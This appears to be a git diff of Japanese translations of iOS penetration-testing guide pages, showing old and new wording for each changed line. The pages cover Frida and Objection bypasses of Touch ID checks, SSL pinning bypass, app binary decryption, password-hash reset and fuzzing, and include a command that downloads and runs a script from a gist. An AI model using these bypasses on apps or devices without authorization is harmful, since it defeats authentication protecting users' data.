以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するためのアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。 以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。
{{#tabs}} {{#tabs}}
{{#tab name="Swift"}} {{#tab name="Swift"}}
@ -891,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
#### **Objection** #### **Objection**
[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある**Objection Biometrics Bypass**を通じて、**LocalAuthentication**メカニズムを克服するための技術が利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すことを保証することです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。 **Objection Biometrics Bypass**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある技術を使用して、**LocalAuthentication**メカニズムを克服することができます。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。
このバイパスを有効にするために、次のコマンドが使用されます: このバイパスを有効にするために、次のコマンドが使用されます:
```bash ```bash
@ -902,11 +902,11 @@ $ otool -L <AppName>.app/<AppName>
(agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete (agent) [3mhtws9x47q] Biometrics bypass hook complete
``` ```
このコマンドは、Objectionが`evaluatePolicy`チェックの結果を`True`に実質的に変更するタスクを登録する一連のプロセスを開始します。 このコマンドは、Objectionがタスクを登録し、`evaluatePolicy`チェックの結果を`True`に実質的に変更するシーケンスを開始します。
#### Frida #### Frida
[DVIA-v2アプリケーション](https://github.com/prateek147/DVIA-v2)からの**`evaluatePolicy`**の使用例 **`evaluatePolicy`**の使用例は、[DVIA-v2アプリケーション](https://github.com/prateek147/DVIA-v2)からのものです
```swift ```swift
+(void)authenticateWithTouchID { +(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init]; LAContext *myContext = [[LAContext alloc] init];
@ -958,7 +958,7 @@ return result;
console.log("Objective-C Runtime is not available!"); console.log("Objective-C Runtime is not available!");
} }
``` ```
Fridaスクリプトを注入し、生体認証をバイパスするには、次のコマンドを使用します: バイオメトリック認証をバイパスし、Fridaスクリプトを注入するには、次のコマンドを使用します
```bash ```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
``` ```
@ -1023,7 +1023,7 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
### 証明書ピンニング ### 証明書ピンニング
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になる可能性があります。**\ アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になる可能性があります。**\
脱獄したデバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。 脱獄デバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
また、**objectionの** `ios sslpinning disable`を使用することもできます。 また、**objectionの** `ios sslpinning disable`を使用することもできます。
@ -1031,12 +1031,12 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
- **`/System/Library`**には、システムアプリケーションによって使用されるフレームワークがインストールされています。 - **`/System/Library`**には、システムアプリケーションによって使用されるフレームワークがインストールされています。
- App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。 - App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。
- **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。 - **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
- **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。 - **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。
- インストールされたアプリケーションのフォルダ内(**`/User/Applications/<APP ID>/`**)には、いくつかの興味深いファイルがあります: - インストールされたアプリケーションのフォルダ内(**`/User/Applications/<APP ID>/`**)には、いくつかの興味深いファイルがあります:
- **`iTunesArtwork`**:アプリによって使用されるアイコン - **`iTunesArtwork`**:アプリによって使用されるアイコン
- **`iTunesMetadata.plist`**App Storeで使用されるアプリの情報 - **`iTunesMetadata.plist`**App Storeで使用されるアプリの情報
- **`/Library/*`**:設定キャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。 - **`/Library/*`**:設定キャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
### ホットパッチ/強制更新 ### ホットパッチ/強制更新
@ -1046,13 +1046,13 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
### サードパーティ ### サードパーティ
**3rd party SDKs**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、完全にその利点を放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。 **3rd party SDKs**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、またはその利点を完全に放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者これらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーやセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。 サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者これらのライブラリによって実行されるコードを完全に把握していない可能性があ、プライバシーやセキュリティのリスクが生じる可能性があります。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形式で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報PIIの開示を防ぐために**匿名化**されるべきです。 サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形式で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報PIIの開示を防ぐために**匿名化**されるべきです。
アプリケーションが使用しているライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。 アプリケーションが使用るライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。
```bash ```bash
otool -L <application_path> otool -L <application_path>
``` ```

View File

@ -6,17 +6,17 @@
### **iOSデバイスのUDIDの特定** ### **iOSデバイスのUDIDの特定**
iOSデバイスを一意に識別するために、UDIDと呼ばれる40桁のシーケンスが使用されます。macOS Catalina以降では、**Finderアプリ**でこれを見つけることができます。iTunesはもはや存在しないためです。デバイスがUSB経由で接続され、Finderで選択されると、その名前の下の詳細をクリックすることで、他の情報とともにUDIDが表示されます。 iOSデバイスを一意に識別するために、UDIDと呼ばれる40桁のシーケンスが使用されます。macOS Catalina以降では、**Finderアプリ**でこれを見つけることができます。iTunesはもはや存在しません。デバイスがUSB経由で接続され、Finderで選択されると、その名前の下の詳細をクリックすることで、UDIDを含む他の情報が表示されます。
Catalina以前のmacOSバージョンでは、iTunesがUDIDの発見を助けます。詳細な手順は[こちら](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)で確認できます。 Catalina以前のmacOSバージョンでは、iTunesがUDIDの発見を助けます。詳細な手順は[こちら](http://www.iclarified.com/52179/how-to-find-your-iphones-udid)で確認できます。
コマンドラインツールはUDIDを取得するための代替手段を提供します: コマンドラインツールはUDIDを取得するための代替方法を提供します:
- **I/O Registry Explorerツール `ioreg`を使用:** - **I/Oレジストリエクスプローラーツール `ioreg`を使用:**
```bash ```bash
$ ioreg -p IOUSB -l | grep "USB Serial" $ ioreg -p IOUSB -l | grep "USB Serial"
``` ```
- **`ideviceinstaller`をmacOSおよびLinuxで使用する:** - **macOSおよびLinux用の`ideviceinstaller`の使用:**
```bash ```bash
$ brew install ideviceinstaller $ brew install ideviceinstaller
$ idevice_id -l $ idevice_id -l
@ -42,7 +42,7 @@ $ ssh -p 2222 root@localhost
### **忘れたパスワードのリセット** ### **忘れたパスワードのリセット**
忘れたパスワードをデフォルト`alpine`にリセットするには、`/private/etc/master.passwd` ファイルを編集する必要があります。これには、既存のハッシュを `root``mobile` ユーザーエントリの隣にある `alpine` のハッシュに置き換えることが含まれます。 忘れたパスワードをデフォルトの (`alpine`) にリセットするには、`/private/etc/master.passwd` ファイルを編集する必要があります。これには、既存のハッシュを `root``mobile` ユーザーエントリの隣にある `alpine` のハッシュに置き換えることが含まれます。
## **データ転送技術** ## **データ転送技術**
@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
### **ファイル管理のためのObjectionの使用** ### **ファイル管理のためのObjectionの使用**
**Objectionによるインタラクティブシェル:** Objectionを起動すると、アプリのBundleディレクトリにアクセスできます。ここから、アプリのDocumentsディレクトリに移動し、ファイルを管理できます。これには、iOSデバイスへのファイルのダウンロードやアップロードが含まれます。 **Objectionによるインタラクティブシェル:** Objectionを起動すると、アプリのBundleディレクトリにアクセスできます。ここから、アプリのDocumentsディレクトリに移動し、ファイルを管理したり、iOSデバイスとの間でファイルをダウンロードおよびアップロードしたりできます。
```bash ```bash
objection --gadget com.apple.mobilesafari explorer objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@ -92,7 +92,7 @@ otool -Vh Hello_World
``` ```
**暗号化セクションの特定とメモリのダンプ:** **暗号化セクションの特定とメモリのダンプ:**
`otool`を使用して暗号化セクションの開始アドレスと終了アドレスを特定し、gdbを使用して脱獄したデバイスからメモリをダンプします。 `otool`を使用して暗号化セクションの開始および終了アドレスを特定し、gdbを使用して脱獄したデバイスからメモリをダンプします。
```bash ```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000 dump memory dump.bin 0x8000 0x10a4000
@ -123,7 +123,7 @@ $ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
#### **flexdecrypt** #### **flexdecrypt**
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) ツールは、そのラッパー [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac) とに、インストールされたアプリケーションからIPAファイルを抽出することを可能にします。デバイス上での **flexdecrypt** のインストールコマンドには、`.deb` パッケージのダウンロードとインストールが含まれます。 **flexdump** は、以下のコマンドに示すように、アプリをリストしてダンプするために使用できます。 [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) ツールは、そのラッパー [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac) とともに、インストールされたアプリケーションからIPAファイルを抽出することを可能にします。デバイス上での **flexdecrypt** のインストールコマンドには、`.deb` パッケージのダウンロードとインストールが含まれます。 **flexdump** は、以下のコマンドに示すように、アプリをリストおよびダンプするために使用できます。
```bash ```bash
apt install zip unzip apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@ -138,7 +138,7 @@ bagbak --raw Chrome
``` ```
#### **r2flutch** #### **r2flutch**
**r2flutch**は、radareとfridaの両方を利用して、アプリの暗号解除とダンプを行います。詳細はその[**GitHubページ**](https://github.com/as0ler/r2flutch)で確認できます。 **r2flutch**は、radareとfridaの両方を利用して、アプリの復号化とダンプを行います。詳細はその[**GitHubページ**](https://github.com/as0ler/r2flutch)で確認できます。
### **アプリのインストール** ### **アプリのインストール**

View File

@ -4,7 +4,7 @@
## iOSデバイスへのBurp証明書のインストール ## iOSデバイスへのBurp証明書のインストール
iOSデバイスでの安全なウェブトラフィック分析とSSLピンニングのために、Burp Suiteは**Burp Mobile Assistant**を通じて、または手動設定を介して利用できます。以下は両方の方法の要約ガイドです iOSデバイスでの安全なウェブトラフィック分析とSSLピンニングのために、Burp Suiteは**Burp Mobile Assistant**を通じて、または手動設定を介して利用できます。以下は両方の方法の要約ガイドです
### Burp Mobile Assistantによる自動インストール ### Burp Mobile Assistantによる自動インストール
@ -12,9 +12,9 @@ iOSデバイスでの安全なウェブトラフィック分析とSSLピンニ
### 手動インストール手順 ### 手動インストール手順
1. **プロキシ設定:** まず、iPhoneのWi-Fi設定でBurpをプロキシとして設定します。 1. **プロキシ設定** まず、iPhoneのWi-Fi設定でBurpをプロキシとして設定します。
2. **証明書ダウンロード:** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。 2. **証明書ダウンロード** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。
3. **証明書インストール:** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**からインストールし、**証明書信頼設定**でPortSwigger CAの信頼を有効にします。 3. **証明書インストール** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**からインストールし、**証明書信頼設定**でPortSwigger CAの信頼を有効にします。
### インターセプションプロキシの設定 ### インターセプションプロキシの設定
@ -24,34 +24,34 @@ iOSデバイスでの安全なウェブトラフィック分析とSSLピンニ
ジェイルブレイクされたデバイスを持つユーザーは、USB経由のSSH**iproxy**を使用を利用してトラフィックを直接Burpを通じてルーティングする方法があります ジェイルブレイクされたデバイスを持つユーザーは、USB経由のSSH**iproxy**を使用を利用してトラフィックを直接Burpを通じてルーティングする方法があります
1. **SSH接続の確立:** iproxyを使用してSSHをローカルホストに転送し、iOSデバイスからBurpを実行しているコンピュータへの接続を可能にします。 1. **SSH接続の確立** iproxyを使用してSSHをローカルホストに転送し、iOSデバイスからBurpを実行しているコンピュータへの接続を可能にします。
```bash ```bash
iproxy 2222 22 iproxy 2222 22
``` ```
2. **リモートポートフォワーディング:** iOSデバイスのポート8080をコンピュータのローカルホストに転送し、Burpのインターフェースへの直接アクセスを有効にします。 2. **リモートポートフォワーディング** iOSデバイスのポート8080をコンピュータのローカルホストに転送し、Burpのインターフェースへの直接アクセスを有効にします。
```bash ```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222 ssh -R 8080:localhost:8080 root@localhost -p 2222
``` ```
3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシを使用するように設定し、すべてのウェブトラフィックをBurp経由で流します。 3. **グローバルプロキシ設定** 最後に、iOSデバイスのWi-Fi設定を手動プロキシを使用するように設定し、すべてのウェブトラフィックをBurp経由で流します。
### フルネットワークモニタリング/スニッフィング ### フルネットワークモニタリング/スニッフィング
非HTTPデバイストラフィックのモニタリングは、すべての形式のデータトラフィックをキャプチャできるツールである**Wireshark**を使用して効率的に行うことができます。iOSデバイスの場合、リアルタイムトラフィックモニタリングはリモート仮想インターフェースの作成を通じて実現され、このプロセスは[このStack Overflowの投稿](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)で詳述されています。開始する前に、macOSシステムに**Wireshark**をインストールする必要があります。 非HTTPデバイストラフィックのモニタリングは、すべての形式のデータトラフィックをキャプチャできるツール**Wireshark**を使用して効率的に行えます。iOSデバイスの場合、リモート仮想インターフェースの作成を通じてリアルタイムトラフィックモニタリングが可能であり、このプロセスは[このStack Overflowの投稿](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)で詳述されています。開始する前に、macOSシステムに**Wireshark**をインストールする必要があります。
手順は以下の要なステップを含みます: 手順は以下の要なステップを含みます:
1. iOSデバイスとmacOSホストの間でUSB経由で接続を開始します。 1. iOSデバイスとmacOSホストの間でUSB接続を開始します。
2. トラフィックモニタリングに必要なiOSデバイスの**UDID**を確認します。これはmacOSターミナルでコマンドを実行することで行えます 2. トラフィックモニタリングに必要なiOSデバイスの**UDID**を確認します。これはmacOSターミナルでコマンドを実行することで行えます
```bash ```bash
$ rvictl -s <UDID> $ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0 Starting device <UDID> [SUCCEEDED] with interface rvi0
``` ```
3. UDIDの特定後、**Wireshark**を開き、「rvi0」インターフェースを選択してデータキャプチャを行います。 3. UDIDの特定後、**Wireshark**を開き、「rvi0」インターフェースを選択してデータキャプチャを行います。
4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲットモニタリングのために、Wiresharkのキャプチャフィルターを使用できます 4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲット監視のために、Wiresharkのキャプチャフィルターを使用できます
## シミュレーターでのBurp証明書のインストール ## シミュレーターでのBurp証明書のインストール
@ -61,28 +61,28 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
![](<../../images/image (534).png>) ![](<../../images/image (534).png>)
- **証明書をエミュレーター内にドラッグアンドドロップ**します - **証明書をエミュレーター内にドラッグアンドドロップ**
- **エミュレーター内で** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_ に移動し、**証明書を確認**します - **エミュレーター内で** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_に移動し、**証明書を確認**
- **エミュレーター内で** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_ に移動し、**PortSwigger CAを有効にします** - **エミュレーター内で** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、**PortSwigger CAを有効にす**
![](<../../images/image (1048).png>) ![](<../../images/image (1048).png>)
**おめでとうございます、iOSシミュレーターにBurp CA証明書を正常に設定しました** **おめでとうございます、iOSシミュレーターにBurp CA証明書を正常に設定しました**
> [!NOTE] > [!NOTE]
> **iOSシミュレーターはMacOSのプロキシ設定を使用します。** > **iOSシミュレーターはMacOSのプロキシ設定を使用します。**
### MacOSプロキシ設定 ### MacOSプロキシ設定
Burpをプロキシとして設定する手順 Burpをプロキシとして設定する手順
- _System Preferences_ --> _Network_ --> _Advanced_ に移動します - _System Preferences_ --> _Network_ --> _Advanced_に移動
- _Proxies_ タブで _Web Proxy (HTTP)__Secure Web Proxy (HTTPS)_ にチェックを入れます - _Proxies_タブで_ウェブプロキシHTTP_と_セキュアウェブプロキシHTTPS_にチェックを入れる
- 両方のオプションで _127.0.0.1:8080_ を設定します - 両方のオプションで_127.0.0.1:8080_を設定
![](<../../images/image (431).png>) ![](<../../images/image (431).png>)
- _**Ok**_ をクリックし、次に _**Apply**_ をクリックします - _**Ok**_をクリックし、次に_**Apply**_をクリック
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -36,6 +36,6 @@ $ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
``` ```
`-A num, --after-context=num` フラグを調整することで、表示する行数を増やしたり減らしたりできます。この方法は、暗号化されたアプリバイナリにも有効であり、複数のApp Storeアプリに対して確認されています。前述のツールは、同様の目的で脱獄したiOSデバイスでも使用できます。 `-A num, --after-context=num` フラグを調整することで、表示する行数を増やしたり減らしたりできます。この方法は、暗号化されたアプリバイナリにも有効であり、複数のApp Storeアプリに対して確認されています。前述のツールは、同様の目的で脱獄したiOSデバイスでも使用できます。
**注意**: このタスクに対して `strings` コマンドを直接使用することは、その情報を見つける際の制限から推奨されません。代わりに、バイナリに対して `-a` フラグを使用したgrepを使用するか、radare2`izz`/rabin2`-zz`を利用することが、より効果的な結果を得るために推奨されます。 **注意**: このタスクに対して `strings` コマンドを直接使用することは、その情報を見つける際の制限から推奨されません。代わりに、バイナリに対して `-a` フラグを使用したgrepを使用するか、radare2 (`izz`) / rabin2 (`-zz`) を利用することが、より効果的な結果を得るために推奨されます。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Installing Frida ## Installing Frida
**JailbrokenデバイスにFridaをインストールする手順:** **JailbrokenデバイスにFridaをインストールする手順:**
@ -29,7 +28,7 @@
pip install frida-tools pip install frida-tools
pip install frida pip install frida
``` ```
Fridaサーバーがインストールされ、デバイスが実行中で接続されている状態で、**クライアントが** **動作しているか確認**します: Fridaサーバーがインストールされ、デバイスが実行中で接続されている状態で、**クライアントが** **動作しているか** **確認**します:
```bash ```bash
frida-ls-devices # List devices frida-ls-devices # List devices
frida-ps -Uia # Get running processes frida-ps -Uia # Get running processes
@ -178,13 +177,13 @@ Stalker.flush() // this is important to get all events
}) })
``` ```
> [!CAUTION] > [!CAUTION]
> デバッグの目的からは興味深いですが、ファジングにおいては、常に **`.follow()`** と **`.unfollow()`** を行うのは非常に非効率的です。 > デバッグの目的からは興味深いですが、ファジングにおいては、常に **`.follow()`** と **`.unfollow()`** を使用するのは非常に非効率です。
## [Fpicker](https://github.com/ttdennis/fpicker) ## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) は、AFL++ モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供する **Fridaベースのファジングスイート** です。Frida によってサポートされているすべてのプラットフォームで実行できるはずです。 [**fpicker**](https://github.com/ttdennis/fpicker) は、AFL++ モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供する **Fridaベースのファジングスイート** です。Frida によってサポートされているすべてのプラットフォームで実行できるはずです。
- [**fpicker をインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa** - [**fpickerをインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash ```bash
# Get fpicker # Get fpicker
git clone https://github.com/ttdennis/fpicker git clone https://github.com/ttdennis/fpicker
@ -302,7 +301,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
また、**`idevicesyslog`**を使用してiOSのログも確認できます。\ また、**`idevicesyslog`**を使用してiOSのログも確認できます。\
一部のログは情報を省略し、**`<private>`**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からプロファイルをインストールして、そのプライベート情報を有効にする必要があります。 一部のログは情報を省略し、**`<private>`**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からプロファイルをインストールして、そのプライベート情報を有効にする必要があります。
何をすべきかわからない場合は: 何をすべきかわからない場合:
```sh ```sh
vim /Library/Preferences/Logging/com.apple.system.logging.plist vim /Library/Preferences/Logging/com.apple.system.logging.plist
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>

View File

@ -8,14 +8,14 @@
- **共有**: ソーシャルネットワークや他のユーザーと直接共有することを可能にします。 - **共有**: ソーシャルネットワークや他のユーザーと直接共有することを可能にします。
- **今日(ウィジェット)**: 通知センターの今日ビューから迅速にコンテンツを提供したり、タスクを実行したりします。 - **今日(ウィジェット)**: 通知センターの今日ビューから迅速にコンテンツを提供したり、タスクを実行したりします。
ユーザーがホストアプリからテキストを共有するなど、これらの拡張に関与すると、拡張はそのコンテキスト内でこの入力を処理し、Appleのドキュメントに詳述されているように、共有された情報を活用してタスクを実行します。 ユーザーがホストアプリからテキストを共有するなど、これらの拡張に関与すると、拡張はそのコンテキスト内でこの入力を処理し、共有された情報を活用してタスクを実行します。これはAppleのドキュメントに詳述されています。
### **セキュリティ考慮事項** ### **セキュリティ考慮事項**
主なセキュリティの側面には以下が含まれます: 主なセキュリティの側面には以下が含まれます:
- 拡張とその含まれるアプリは、直接ではなく、プロセス間通信を介して通信します。 - 拡張とその含まれるアプリは、直接ではなく、プロセス間通信を介して通信します。
- **今日ウィジェット**は、特定の方法でアプリを開くよう要求できる点でユニークです。 - **今日ウィジェット**は、特定の方法でアプリを開くよう要求できる点でユニークです。
- 共有データへのアクセスはプライベートコンテナ内で許可されていますが、直接アクセスは制限されています。 - 共有データへのアクセスはプライベートコンテナ内で許可されていますが、直接アクセスは制限されています。
- HealthKitを含む特定のAPIはアプリ拡張には使用できず、iMessage拡張を除いて、長時間実行されるタスクを開始したり、カメラやマイクにアクセスしたりすることはできません。 - HealthKitを含む特定のAPIはアプリ拡張には使用できず、iMessage拡張を除いて、長時間実行されるタスクを開始したり、カメラやマイクにアクセスしたりすることはできません。
@ -23,7 +23,7 @@
#### **アプリ拡張の特定** #### **アプリ拡張の特定**
ソースコード内でアプリ拡張を見つけるには、Xcodeで`NSExtensionPointIdentifier`を検索するか、拡張を示す`.appex`ファイルをアプリバンドル内で検査します。ソースコードがない場合は、grepやSSHを使用してアプリバンドル内のこれらの識別子を特定します。 ソースコード内でアプリ拡張を見つけるには、Xcodeで`NSExtensionPointIdentifier`を検索するか、拡張を示す`.appex`ファイルをアプリバンドル内で検査します。ソースコードがない場合は、grepやSSHを使用してアプリバンドル内のこれらの識別子を見つけます。
#### **サポートされているデータタイプ** #### **サポートされているデータタイプ**

View File

@ -2,17 +2,17 @@
# 特権の分離とサンドボックス # 特権の分離とサンドボックス
iOSでは、ユーザーがアクセス可能なアプリケーションとシステムのコアプロセスの間に特権の区別があります。アプリケーションは**`mobile`**ユーザーIDの下で実行され、重要なシステムプロセスは**`root`**として動作します。この分離はサンドボックスメカニズムによって強化されており、アプリケーションが行えるアクションに厳しい制限を課しています。たとえば、アプリケーションが同じユーザーIDを共有していても、お互いのデータにアクセスしたり、変更したりすることは禁じられています。 iOSでは、ユーザーがアクセス可能なアプリケーションとシステムのコアプロセスの間に特権の区別があります。アプリケーションは**`mobile`**ユーザーIDの下で実行され、重要なシステムプロセスは**`root`**として動作します。この分離はサンドボックスメカニズムによって強化されており、アプリケーションが行えるアクションに厳しい制限を課しています。たとえば、アプリケーションが同じユーザーIDを共有していても、お互いのデータにアクセスしたり、変更したりすることは禁じられています。
アプリケーションは特定のディレクトリ(`private/var/mobile/Applications/{random ID}`にインストールされ、SMSや電話通話などの特定のシステム領域や機能への読み取りアクセスが制限されています。保護された領域へのアクセスは、ユーザーの許可を求めるポップアップリクエストを引き起こします。 アプリケーションは特定のディレクトリ(`private/var/mobile/Applications/{random ID}`にインストールされ、SMSや電話通話などの特定のシステム領域や機能への読み取りアクセスが制限されています。保護された領域へのアクセスは、ユーザーの許可を求めるポップアップリクエストを引き起こします。
# データ保護 # データ保護
iOSは開発者に**データ保護API**を提供しておりこれは暗号操作とキー管理のための専用コプロセッサであるセキュアエンクレーブプロセッサSEPの上に構築されています。SEPは、デバイス固有のキーであるデバイスUIDを埋め込むことによってデータ保護の整合性を確保します。 iOSは、暗号操作とキー管理のための専用コプロセッサであるSecure Enclave ProcessorSEPを基盤とした**データ保護API**を開発者に提供しています。SEPは、デバイス固有のキーであるデバイスUIDを埋め込むことによってデータ保護の整合性を確保します。
ファイル作成時に、ユニークな256ビットAES暗号化キーが生成され、ファイルの内容が暗号化されます。この暗号化キーは、クラスIDと共にクラスキーを使用して暗号化され、ファイルのメタデータ内に保存されます。ファイルを復号化するには、システムのキーを使用してメタデータにアクセスし、クラスIDでクラスキーを取得し、その後ファイルのユニークな暗号化キーを復号化ます。 ファイル作成時に、ユニークな256ビットAES暗号化キーが生成され、ファイルの内容が暗号化されます。この暗号化キーは、クラスIDと共にクラスキーを使用して暗号化され、ファイルのメタデータ内に保存されます。ファイルの復号化は、システムのキーを使用してメタデータにアクセスし、クラスIDでクラスキーを取得し、その後ファイルのユニークな暗号化キーを復号化することを含みます。
iOSはデータセキュリティのために**4つの保護クラス**を定義しており、これによりデータにアクセスできるタイミングと方法が決まります: iOSはデータセキュリティのために**4つの保護クラス**を定義しており、データにアクセスできるタイミングと方法を決定します:
